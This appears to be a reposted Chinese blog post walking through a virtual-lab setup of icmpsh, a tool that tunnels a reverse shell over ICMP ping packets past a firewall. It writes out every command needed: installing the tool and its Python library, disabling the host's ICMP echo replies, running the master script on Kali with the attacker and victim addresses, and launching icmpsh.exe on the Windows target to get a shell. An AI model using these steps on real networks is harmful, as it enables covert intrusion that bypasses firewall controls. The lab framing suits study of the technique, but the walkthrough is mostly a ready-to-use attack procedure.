隐藏通信隧道技术之icmpsh反弹shell(网络层ICMP隧道)

优势:不需要开放端口就能通信
常见ICMP的消息是ping命令,通过ping可以得到一些回复
如果HTTP,DNS正反向端口转发不行时候可以尝试ICMP隧道
建立基础:只要能ping通,可以将TCP/UDP数据封装到数据包中,然后利用ping的数据包来穿透防火墙。
实验环境:
1.虚拟机中进行 (kali作为外网机器,monowall1是分隔内外网的防火墙,win7,win2012是两台内网机器)
在这里插入图片描述

2.kali的ip:10.0.78.29
Monowall1的ip:1.1.1.1
Win7的ip:1.1.1.101
Win2012的ip:1.1.1.102
这里只演示win7
准备:
1.此刻防火墙规则如下
在这里插入图片描述

此时内外全部可以连通的,没有任何限制
2.win7去ping外网机器kali
在这里插入图片描述

发现是可以ping通的
3.用外网kali去ping内网win7
在这里插入图片描述

当然它是ping不通的
4.用外网kali去ping防火墙
在这里插入图片描述

可以ping通

Icmpsh演示:
一.在外网kali上安装icmpsh工具
命令如下:git clone https://github.com/inquisb/icmpsh.git

在这里插入图片描述

二.装一个python的一个库,可以对TCP,UDP,ICMP,IPV6,IPV4等协议进行访问
命令:apt-get install python-impacket
在这里插入图片描述

我这里kali是无法安装的,这也是我入坑的一处,这里不能用提示的python3-impacket,因为之后的icmpsh无法开启,必须使用python-impacket
注意:这里提示无可安装候选,正常情况的解决方法是:
1.更新源列表 命令:sudo apt-get update
2.更新源 sudo apt-get upgrade
但是我这里还是不能,因此我觉得再之后的解决方法就要换掉kali官方源了,比较麻烦,因此换条路线下载python-impacket
在这里,我选择下载pip2通过pip2去安装impacket
安装pip2命令:
1.curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
2.python2 get-pip.py
安装impacket
命令:pip2 install impacket
这样再次输入:apt-get install python-impacket即可成功下载
三.作设置,这个icmpsh工具要替代系统本身的ping应答,因此输入以下命令将关闭本地系统的icmp应答,(也就是改为1),如果不改没有办法进行输入命令交互,如果要恢复改为0即可
命令:sysctl -w net.ipv4.icmp_echo_ignore_all=1
在这里插入图片描述

四.进入该工具目录并运行
命令: ./icmpsh_m.py IP(公网)IP(内网的公网ip地址)
获取内网公网ip地址的一种方法:用这个服务器ping公网的ip地址,然后在公网的ip地址获取数据包,然后看数据包的ip地址即可看到
例如:
1.在外网kali中输入命令tcpdump icmp
在这里插入图片描述

2.然后用需要查找公网ip的内网机器如win7进行ping外网kali
在这里插入图片描述

可以看到10.0.78.32就是内网机器的公网ip

接下来继续输入命令
此处为: ./icmpsh_m.py 10.0.78.29 10.0.78.32
在这里插入图片描述

接下来在win7中在icmpsh目录下命令行输入命令
命令:icmpsh.exe -t 10.0.78.29
在这里插入图片描述

再次打开kali,发现如下:
在这里插入图片描述

成功登陆win7
在这里插入图片描述

查询ip,成功穿过防火墙进入win7
最后我们将设置更改回系统ping:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/bring_coco/article/details/112244436